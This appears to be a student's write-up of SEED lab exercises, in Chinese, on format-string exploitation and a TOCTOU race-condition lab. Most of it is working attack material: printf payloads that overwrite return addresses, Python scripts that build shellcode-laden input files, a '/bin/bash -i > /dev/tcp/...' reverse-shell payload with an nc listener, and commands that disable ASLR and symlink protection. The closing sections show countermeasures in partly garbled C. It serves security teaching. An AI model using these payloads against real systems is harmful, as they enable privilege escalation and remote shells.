TASK1
获取shell,括号里为覆盖地址,右边%n的使用参见参考链接:
sudo sysctl -w kernel.randomize_va_space=0
1.3
echo $(printf "\x54\xed\xff\xbf\x55\xed\xff\xbf\x56\xed\xff\xbf\x57\xed\xff\xbf").%.84x.%9\$hhn%.16x.%7\$hhn.%15x.%8\$hhn.%15x.%6\$hhn >input
./prog1 < input
2
2.1
gcc -z execstack -o prog2 prog2.csudo chown root prog2sudo chown 4755 prog2echo $(printf "\xee\xec\xff\xbf@@@@\xec\xec\xff\xbf")%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x > badfile
python脚本
#!/usr/bin/python3
#import sys# This shellcode creates a local shellshellcode=("\x31\xc0\x31\xdb\xb0\xd5\xcd\x80""\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50""\x53\x89\xe1\x99\xb0\x0b\xcd\x80\x00"
).encode('latin-1')
N = 200# Fill the content with NOP'scontent = bytearray(0x90 for i in range(N))# Put the code at the endstart = N - len(shellcode)
content[start:] = shellcodeaddr1 = 0xbfffecee
addr2 = 0xbfffecec
content[0:4] = (addr1).to_bytes(4,byteorder='little')
content[4:8] = ("@@@@").encode('latin-1')
content[8:12] = (addr2).to_bytes(4,byteorder='little')small = 0xbfff - 12 - 15*8
large = 0xed94 - 0xbfff
s = "%.8x"*15 + "%." + str(small) + "x%hn%." + str(large) + "x%hn"
fmt = (s).encode('latin-1')
content[12:12+len(fmt)] = fmtfile = open("badfile","wb")
file.write(content)
file.close()# Write the content to badfilefile = open("badfile", "wb")
file.write(content)
file.close()
2.2
尝试性执行,输出:
先把程序编译了:
gcc -fno-stack-protector -z noexecstack -g -o prog2 prog2.c
嗯-------,这里需要自己构造,具体%n的用法也在参考链接里,这里只上最后的代码了(不做重复工作)====
echo $(printf "\xec\xec\xff\xbf\xed\xec\xff\xbf\xee\xec\xff\xbf\xef\xec\xff\xbf\xf0\xec\xff\xbf\xf1\xec\xff\xbf\xf2\xec\xff\xbf\xf3\xec\xff\xbf\xf4\xec\xff\xbf\xf5\xec\xff\xbf\xf6\xec\xff\xbf\xf7\xec\xff\xbf").%.111x%17\$hhn%.173x%18\$hhn%.141x%19\$hhn%.221x%20\$hhn%.116x%25\$hhn%.45x%26\$hhn%.148x%27\$hhn%.203x%28\$hhn%.25x%21\$hhn%.185x%22\$hhn%.45648x%23\$hn >badfile
其中地址部分根据程序输出的不同修改,后面部分不需要修改:
2.3 略
2.4 略
3
3.1
先试着打印100个字节,寻找输入的AAAA在第几个字节:
python -c 'print "AAAA."+"%08x."*100' >badfile
nc 127.0.0.1 9090 < badfile
用心数的话可以还是能正确数出来,第64个字节是我们输入的AAAA(A—0x41)
直接覆盖掉第64个字节:
echo $(printf "\x40\x87\x04\x08").%64\$s | nc 127.0.0.1 9090
成功打印出了秘密字符串----
3.3
开启一个终端监听
nc -v -l 7070
生成badfile:
#!/usr/bin/python3
import sys# This shellcode creates a local shell
shellcode = (
"\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b"
"\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54"
"\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff"
"/bin/bash*"
"-c*"
"/bin/bash -i > /dev/tcp/127.0.0.1/7070 0<&1 2>&1 "
).encode('latin-1')N = 200
# Fill the content with NOP's
content = bytearray(0x90 for i in range(N))# Put the code at the end
start = N - len(shellcode)
content[start:] = shellcode# Put the address at the beginning
addr1 = 0xbffff63c //frame pointer +4
addr2 = 0xbffff63e
content[0:4] = (addr1).to_bytes(4,byteorder='little')
content[4:8] = (addr2).to_bytes(4,byteorder='little')# Construct the format string
small = 0xbfff - 8
large = 0xf710 + start - 0xbfff //input buffer address
s = "%." + str(small) + "x" + "%65$hn%." + str(large) + "x%64$hn"
fmt = (s).encode('latin-1')
content[8:8+len(fmt)] = fmt# Write the content to badfile
file = open("badfile", "wb")
file.write(content)
file.close()
TASK 2
2
算了算了,只放点截图,都在参考链接里,自己好像没做什么工作。。。。
[06/14/21]seed@VM:~/.../second$ sudo sysctl -w fs.protected_symlinks=0
fs.protected_symlinks = 0
[06/25/21]seed@VM:~/.../second$ gcc -o vulp vulp.c [06/14/21]seed@VM:~/.../second$ touch /tmp/XYZ[06/14/21]seed@VM:~/.../second$ sudo chown root vulp
[06/14/21]seed@VM:~/.../second$ sudo chmod 4755 vulp
多次检查权限:
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
int main()
{struct stat stat1,stat2,stat3;int fd1,fd2,fd3;if (access("/tmp/XYZ", O_RDWR)){fprintf(stderr,"Permission denied\n");return -1;}elsefd1 = open("/tmp/XYZ",O_RDWR);
if (access("/tmp/XYZ", O_RDWR))
{fprintf(stderr,"Permission denied\n");return -1;
}
elsefd2 = open("/tmp/XYZ",O_RDWR);if (access("/tmp/XYZ", O_RDWR))
{fprintf(stderr,"Permission denied\n");return -1;
}
elsefd3 = open("/tmp/XYZ",O_RDWR);
fstat(fd1, &stat1);
fstat(fd2,&stat2);
fstat(fd3,&stat3);
if(stat1.st_ino == stat2.st_ino && stat2.st_ino == stat3.st_ino)
{write_to_file(fd1);
}else
{fprintf(stderr,"Permission denied\n");return -1;
}
return 0;
}
最后应该就是修改不了文件:
3 最小特权
写文件操作前修改权限,完成后还原:
/* vulp.c *//* vulp.c */#include <stdio.h>#include <unistd.h>int main(){char * fn = "/tmp/XYZ";char buffer[60];FILE *fp;/* get user input */scanf("%50s", buffer );uid_t real_uid = getuid();uid_t eff_uid = geteuid();seteuid(real_uid);f = open("/tmp/X",O_WRITE);if (f!=-1){fwrite("\n", sizeof(char), 1, fp);fwrite(buffer, sizeof(char), strlen(buffer), fp);fclose(fp);}else{fprintf(stderr, "Permission Denied\n");}seteuid(eff_uid);}
参考链接:
https://blog.csdn.net/qq_39249347/article/details/107197126
https://blog.csdn.net/qq_39249347/article/details/107227311